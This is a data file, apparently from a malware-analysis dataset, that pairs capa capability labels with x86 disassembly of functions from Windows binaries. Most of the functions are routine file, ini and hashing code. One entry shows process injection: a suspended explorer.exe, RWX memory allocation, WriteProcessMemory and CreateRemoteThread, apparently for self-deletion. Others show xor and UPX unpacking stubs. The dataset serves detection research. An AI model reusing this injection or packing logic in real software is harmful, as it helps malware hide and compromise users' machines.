joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cd3
Capabilities:
Encode data using xor

Disassembly:
cmp dword [0x4141c4], 0
jne 0x402ce1
call fcn.00402ca9
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
test esi, esi
jbe 0x402d0e
test cl, 7
je 0x402d0e
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4141c0]
dec esi
inc ecx
jmp 0x402cef
cmp esi, 8
jb 0x402d92
mov edi, esi
shr edi, 3
xor eax, dword [ecx]
add ecx, 8
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4141c0]
sub esi, 8
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4141c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4141c0]
mov edx, eax
movzx eax, dl
mov eax, dword [eax*4 + 0x4141c0]
xor eax, dword [ecx - 4]
shr edx, 8
xor eax, edx
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4141c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4141c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4141c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4141c0]
dec edi
jne 0x402d18
xor edx, edx
test esi, esi
jbe 0x402db2
push ebx
movzx edi, byte [edx + ecx]
movzx ebx, al
xor edi, ebx
shr eax, 8
xor eax, dword [edi*4 + 0x4141c0]
inc edx
cmp edx, esi
jb 0x402d99
pop ebx
pop edi
pop esi
ret 0xc

Function at 0x4050aa
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov dword [esi + 0xc18], ebx
cmp byte [esi + 0x16], bl
je 0x4050c4
mov byte [ebp + 0x10], 1
mov dword [ebp - 4], 0x80000000
cmp byte [ebp + 0x14], bl
je 0x4050d7
mov dword [ebp - 4], 0xc0000000
mov dword [ebp + 0x14], 1
cmp byte [ebp + 0x10], bl
je 0x4050ea
mov dword [ebp + 0x14], 3
xor eax, eax
cmp byte [esi + 0x15], bl
setne al
dec eax
and eax, 0x8000000
mov edi, eax
call fcn.00406e02
test eax, eax
je 0x405123
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x405123
cmp word [eax], bx
je 0x405123
push ebx
push edi
push 3
push ebx
push dword [ebp + 0x14]
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x405137
push ebx
push edi
push 3
push ebx
push dword [ebp + 0x14]
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x405153
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x405153
mov dword [esi + 0xc18], 1
cmp edi, 0xffffffff
setne byte [ebp + 0x13]
mov byte [esi + 0x12], bl
mov dword [esi + 0xc], ebx
mov byte [esi + 0x10], bl
cmp byte [ebp + 0x13], bl
je 0x4051b5
mov dword [esi + 4], edi
cmp dword [ebp + 0xc], ebx
je 0x405181
push dword [ebp + 0xc]
lea eax, [esi + 0x418]
push eax
call fcn.0040dfbb
jmp 0x40518a
xor eax, eax
mov word [esi + 0x418], ax
lea eax, [esi + 0x17]
cmp dword [ebp + 8], ebx
je 0x40519d
push dword [ebp + 8]
push eax
call fcn.0040a3d4
jmp 0x4051ab
push 0x1000000
push eax
push dword [ebp + 0xc]
call fcn.0040dd98
push dword [esi + 4]
mov ecx, esi
call fcn.00404f1a
mov al, byte [ebp + 0x13]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4052e5
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0xc], 1
mov esi, 0x4e20
jne 0x40530b
cmp dword [ebp + 0xc], esi
jbe 0x405300
mov dword [ebp + 0xc], esi
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [edi + 4], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40535b
mov ecx, edi
call fcn.00405064
test al, al
je 0x405341
cmp dword [ebp + 0xc], esi
jbe 0x405341
push esi
push dword [ebp + 8]
mov ecx, edi
call fcn.004052e5
jmp 0x40535e
cmp dword [edi + 0xc], 1
jne 0x405356
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
jne 0x405356
xor eax, eax
jmp 0x40535e
or eax, 0xffffffff
jmp 0x40535e
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret 8

Function at 0x405598
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0
push esi
mov esi, ecx
je 0x405698
mov eax, dword [esi + 0xc]
test eax, eax
je 0x4055c5
dec eax
je 0x4055ba
dec eax
jne 0x4055c5
push 0xfffffffffffffff4
jmp 0x4055bc
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esi + 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
xor edi, edi
mov dword [ebp - 4], edi
cmp dword [esi + 0xc], edi
je 0x405614
cmp dword [ebp + 0xc], edi
jbe 0x40562f
mov ecx, dword [ebp + 0xc]
sub ecx, edi
mov eax, 0x4000
cmp ecx, eax
jae 0x4055ec
mov eax, ecx
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
push dword [esi + 4]
call ebx
dec eax
neg eax
sbb al, al
inc al
je 0x40562f
add edi, 0x4000
cmp edi, dword [ebp + 0xc]
jb 0x4055dc
jmp 0x40562b
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 4]
call ebx
dec eax
neg eax
sbb al, al
inc al
test al, al
jne 0x405692
cmp byte [esi + 0x14], 0
je 0x405692
cmp dword [esi + 0xc], 0
jne 0x405692
push 0
lea eax, [esi + 0x17]
mov edi, 0x414c7c
push eax
mov ecx, edi
call fcn.0040326f
test al, al
je 0x405685
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
jae 0x4055cd
test eax, eax
jbe 0x4055cd
push 0
mov ecx, esi
call fcn.00404fef
mov ecx, dword [ebp - 4]
xor edi, edi
sub eax, ecx
sbb edx, edi
push edx
push eax
mov ecx, esi
call fcn.00405500
jmp 0x4055cd
lea eax, [esi + 0x17]
push eax
push 0
mov ecx, edi
call fcn.00403484
pop edi
mov byte [esi + 8], 1
pop ebx
pop esi
leave
ret 8

Function at 0x40577a
Capabilities:
Get file attributes

Disassembly:
call fcn.00406e02
test eax, eax
je 0x40579a
mov eax, dword [esp + 8]
test eax, eax
je 0x40579a
cmp word [eax], 0
je 0x40579a
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x4057a4
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret 8
Function at 0x4057c9
Capabilities:
Get file attributes

Disassembly:
call fcn.00406e02
test eax, eax
je 0x4057e9
mov eax, dword [esp + 8]
test eax, eax
je 0x4057e9
cmp word [eax], 0
je 0x4057e9
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x4057f3
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
ret 8

Function at 0x4057f6
Capabilities:
Set file attributes

Disassembly:
call fcn.00406e02
test eax, eax
je 0x40581a
mov eax, dword [esp + 8]
test eax, eax
je 0x40581a
cmp word [eax], 0
je 0x40581a
push dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x405828
push dword [esp + 0xc]
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
setne al
ret 0xc

Function at 0x4058a6
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.00406e02
mov esi, dword [ebp + 0xc]
test eax, eax
je 0x4058cb
test esi, esi
je 0x4058cb
cmp word [esi], 0
je 0x4058cb
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
jmp 0x4058d6
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4058f0
cmp byte [ebp + 0x10], 0
je 0x4058ec
push dword [ebp + 0x14]
push esi
push dword [ebp + 8]
call fcn.004057f6
xor eax, eax
jmp 0x405908
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x405905
cmp eax, 3
je 0x405905
xor eax, eax
inc eax
jmp 0x405908
push 2
pop eax
pop esi
pop ebp
ret 0x10
Function at 0x40ab36
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push 0x67
push dword [0x419f80]
call dword [sym.imp.USER32.dll_GetDlgItem]
cmp byte [0x41a814], 0
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov dword [ebp - 4], edi
mov ebx, 0xb1
jne 0x40ab98
mov ecx, dword [0x418ecc]
call fcn.004064ad
push 5
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xffffffffffffffff
push 0
push ebx
push edi
call esi
push 0x41257a
push 0
push 0xc2
push edi
call esi
mov byte [0x41a814], 1
mov edi, 0x5f5e100
push edi
push edi
push ebx
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x40]
push eax
push 0
push 0x43a
push dword [ebp - 4]
mov dword [ebp - 0x40], 0x3c
call esi
xor eax, eax
inc eax
cmp byte [ebp + 8], 0
mov byte [ebp - 0x27], 0
mov dword [ebp - 0x3c], eax
je 0x40abe8
mov ecx, dword [ebp - 0x38]
and ecx, 0xbfffffff
or ecx, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x2c], 0xa0
mov dword [ebp - 0x3c], 0x40000001
lea ecx, [ebp - 0x40]
push ecx
push eax
push 0x444
push dword [ebp - 4]
call esi
push dword [ebp + 0xc]
push 0
push 0xc2
push dword [ebp - 4]
call esi
push edi
push edi
push ebx
push dword [ebp - 4]
call esi
cmp byte [ebp + 8], 0
je 0x40ac32
mov eax, dword [ebp - 0x38]
and eax, 0xfffffffe
or eax, 0x40000000
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x40]
push eax
push 1
push 0x444
push dword [ebp - 4]
call esi
push 0x4125b0
push 0
push 0xc2
push dword [ebp - 4]
call esi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40b50a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
lea eax, [ebp - 0x420]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp byte [0x41a815], 0
jne 0x40b599
push 6
push dword [0x41409c]
lea eax, [ebp - 0x420]
push eax
call fcn.00407338
push eax
call fcn.0040a51a
test eax, eax
jne 0x40b599
push 0x41231c
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x420]
push eax
call fcn.0040a2e1
push 0x1e
mov byte [ebp + eax - 0x41f], 0
push 0
lea eax, [ebp - 0x20]
push eax
call fcn.0040a1e6
push 0x14
pop eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x420]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 3
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret

Function at 0x40b653
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
xor esi, esi
inc esi
xor ebx, ebx
mov dword [0x419f70], esi
cmp dword [0x419f80], ebx
je 0x40b67d
push 0x7d
call fcn.00409854
push eax
push esi
push dword [0x419f80]
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
mov eax, dword [0x419f80]
mov dword [0x419f6c], ebx
mov dword [0x419f68], esi
cmp eax, ebx
je 0x40b6cd
push esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [0x41a824], ebx
jne 0x40b6c4
cmp byte [0x41a814], bl
jne 0x40b6c4
push ebx
push esi
push 0x111
push dword [0x419f80]
call dword [sym.imp.USER32.dll_SendMessageA]
jmp 0x40b6c4
call fcn.0040a78a
cmp dword [0x419f78], 2
jne 0x40b6bf
cmp byte [0x419f88], bl
pop esi
pop ebx
je 0x40b6dc
jmp fcn.0040b50a
ret
Function at 0x40d52e
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4
Function at 0x4012a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push edi
mov dword [ebp - 0x58], 0x44
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0x8000044
push 0
push 0
push 0
push str.explorer.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4012f1
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
jmp 0x4012f3
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4025e0
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4035b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x368
mov dword [ebp - 0x35c], ecx
lea ecx, [ebp - 0xf0]
call sub.MFC42.DLL_CFileFind::CFileFind
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
push str._s.
lea ecx, [ebp - 0xd4]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0
lea edx, [ebp - 0xd4]
push edx
lea ecx, [ebp - 0xf0]
call sub.MFC42.DLL_CFileFind::FindFile
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
je 0x402797
lea ecx, [ebp - 0xf0]
call sub.MFC42.DLL_CFileFind::FindNextFileA
mov dword [ebp - 0xf4], eax
lea ecx, [ebp - 0xf0]
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x402792
push 0xc8
lea eax, [ebp - 0x350]
push eax
lea ecx, [ebp - 0xf0]
call sub.MFC42.DLL_CFileFind::GetFileName
mov dword [ebp - 0x360], eax
mov ecx, dword [ebp - 0x360]
mov dword [ebp - 0x364], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x364]
call sub.MFC42.DLL_CString::GetBuffer
mov dword [ebp - 0x368], eax
lea edx, [ebp - 0x1bc]
mov dword [ebp - 0x36c], edx
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x370], eax
mov ecx, dword [ebp - 0x368]
mov dl, byte [ecx]
mov byte [ebp - 0x371], dl
mov eax, dword [ebp - 0x36c]
mov cl, byte [ebp - 0x371]
mov byte [eax], cl
mov edx, dword [ebp - 0x368]
add edx, 1
mov dword [ebp - 0x368], edx
mov eax, dword [ebp - 0x36c]
add eax, 1
mov dword [ebp - 0x36c], eax
cmp byte [ebp - 0x371], 0
jne 0x4026d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x350]
call fcn.004030f0
lea ecx, [ebp - 0xf0]
call fcn.00402cc0
test eax, eax
je 0x402765
lea ecx, [ebp - 0x1bc]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s
lea eax, [ebp - 0x284]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea ecx, [ebp - 0x284]
push ecx
mov ecx, dword [ebp - 0x35c]
call fcn.004025e0
jmp 0x402792
lea edx, [ebp - 0x1bc]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_s
lea ecx, [ebp - 0x34c]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea edx, [ebp - 0x34c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x402649
lea ecx, [ebp - 0xf0]
call sub.MFC42.DLL_CFileFind::Close
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x4027d4
mov dword [ebp - 0x354], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf0]
call fcn.0040313e
mov eax, dword [ebp - 0x354]
jmp 0x4027f6
mov dword [ebp - 0x358], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf0]
call fcn.0040313e
mov eax, dword [ebp - 0x358]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x402810
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov dword [ebp - 0x188], ecx
mov dword [ebp - 4], 0
call fcn.004012a0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40283b
xor eax, eax
jmp 0x4029bd
push 0x40
push 0x3000
push 0x198
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40286d
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4029bd
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x18]
add edx, 0x200
mov dword [ebp - 0x14], edx
push str.WaitForSingleObject
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x130], eax
push str.CloseHandle
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x12c], eax
push str.ExitProcess
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x124], eax
push str.DeleteFileA
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x128], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x184], eax
push 2
push 0
push 0
lea ecx, [ebp - 0x120]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x184]
push eax
mov ecx, dword [ebp - 0x184]
push ecx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x104
lea edx, [ebp - 0x11c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 0x401260
call fcn.00401300
add esp, 4
push eax
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x118
lea edx, [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
push str._x__x_n
lea ecx, [ebp - 0x180]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x180]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4029b8
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x402a00
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4035e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x220
push edi
mov dword [ebp - 0x22c], ecx
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x224]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x118]
call sub.MFC42.DLL_CString::CString_1
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x228]
call sub.MFC42.DLL_CString::CString_1
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x22c]
add eax, 0x1e8
push eax
push str._s_setup.ini
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push str.SETUP
lea ecx, [ebp - 0x118]
call sub.MFC42.DLL_CString::operator_1
push str.Shortcut
lea ecx, [ebp - 0x228]
call sub.MFC42.DLL_CString::operator_1
lea edx, [ebp - 0x114]
push edx
push 0x104
lea eax, [ebp - 0x224]
push eax
push 0
lea ecx, [ebp - 0x228]
call fcn.00402cd0
push eax
lea ecx, [ebp - 0x118]
call fcn.00402cd0
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x224]
push ecx
mov edx, dword [ebp - 0x22c]
add edx, 0x2ec
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
push str.Brand
lea ecx, [ebp - 0x228]
call sub.MFC42.DLL_CString::operator_1
lea eax, [ebp - 0x114]
push eax
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push 0
lea ecx, [ebp - 0x228]
call fcn.00402cd0
push eax
lea ecx, [ebp - 0x118]
call fcn.00402cd0
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x22c]
add eax, 0xe4
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x228]
call fcn.004030f0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x118]
call fcn.004030f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402b80
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40363b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x118
push edi
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], 0
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x11c]
call sub.MFC42.DLL_CString::CString_1
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x118]
call sub.MFC42.DLL_CString::CString_1
mov byte [ebp - 4], 3
mov byte [ebp - 0x114], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp - 0x124]
add eax, 0x1e8
push eax
push str._sLanSource.ini
lea ecx, [ebp - 0x11c]
push ecx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
push str.UNJDVR
lea ecx, [ebp - 0x118]
call sub.MFC42.DLL_CString::operator_1
lea ecx, [ebp - 0x11c]
call fcn.00402cd0
push eax
push 0x104
lea edx, [ebp - 0x114]
push edx
push 0
lea ecx, [ebp + 0xc]
call fcn.00402cd0
push eax
lea ecx, [ebp - 0x118]
call fcn.00402cd0
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0x120]
or ecx, 1
mov dword [ebp - 0x120], ecx
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x118]
call fcn.004030f0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x11c]
call fcn.004030f0
mov byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call fcn.004030f0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret 8
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x5c3e5bd0
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x35ef07df
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x56f7b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x112000]
push edi
jmp 0x56f7ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x56f7d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56f7c0
mov eax, 1
add ebx, ebx
jne 0x56f7e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x56f7f4
jne 0x56f813
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56f813
dec eax
add ebx, ebx
jne 0x56f800
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x56f7d8
add ebx, ebx
jne 0x56f80f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x56f865
xor ecx, ecx
sub eax, 3
jb 0x56f82b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x56f89a
sar eax, 1
mov ebp, eax
jmp 0x56f836
add ebx, ebx
jne 0x56f836
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56f804
inc ecx
add ebx, ebx
jne 0x56f844
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56f804
add ebx, ebx
jne 0x56f851
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x56f846
jne 0x56f862
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x56f846
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x56f884
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x56f876
jmp 0x56f7c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x56f884
add edi, ecx
jmp 0x56f7c6
pop esi
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x56f8a2
cmp byte [edi], 0x11
jne 0x56f8a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x56f8a7
lea edi, [esi + 0x168000]
mov eax, dword [edi]
or eax, eax
je 0x56f91f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f9814]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f9990]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x56f8d4
mov ecx, edi
jns 0x56f903
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f9994]
or eax, eax
je 0x56f919
mov dword [ebx], eax
add ebx, 4
jmp 0x56f8f1
call dword [esi + 0x1f99a4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x56f950
cmp al, 0xef
ja 0x56f943
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x56f925
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x56f932
mov ebp, dword [esi + 0x1f9998]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
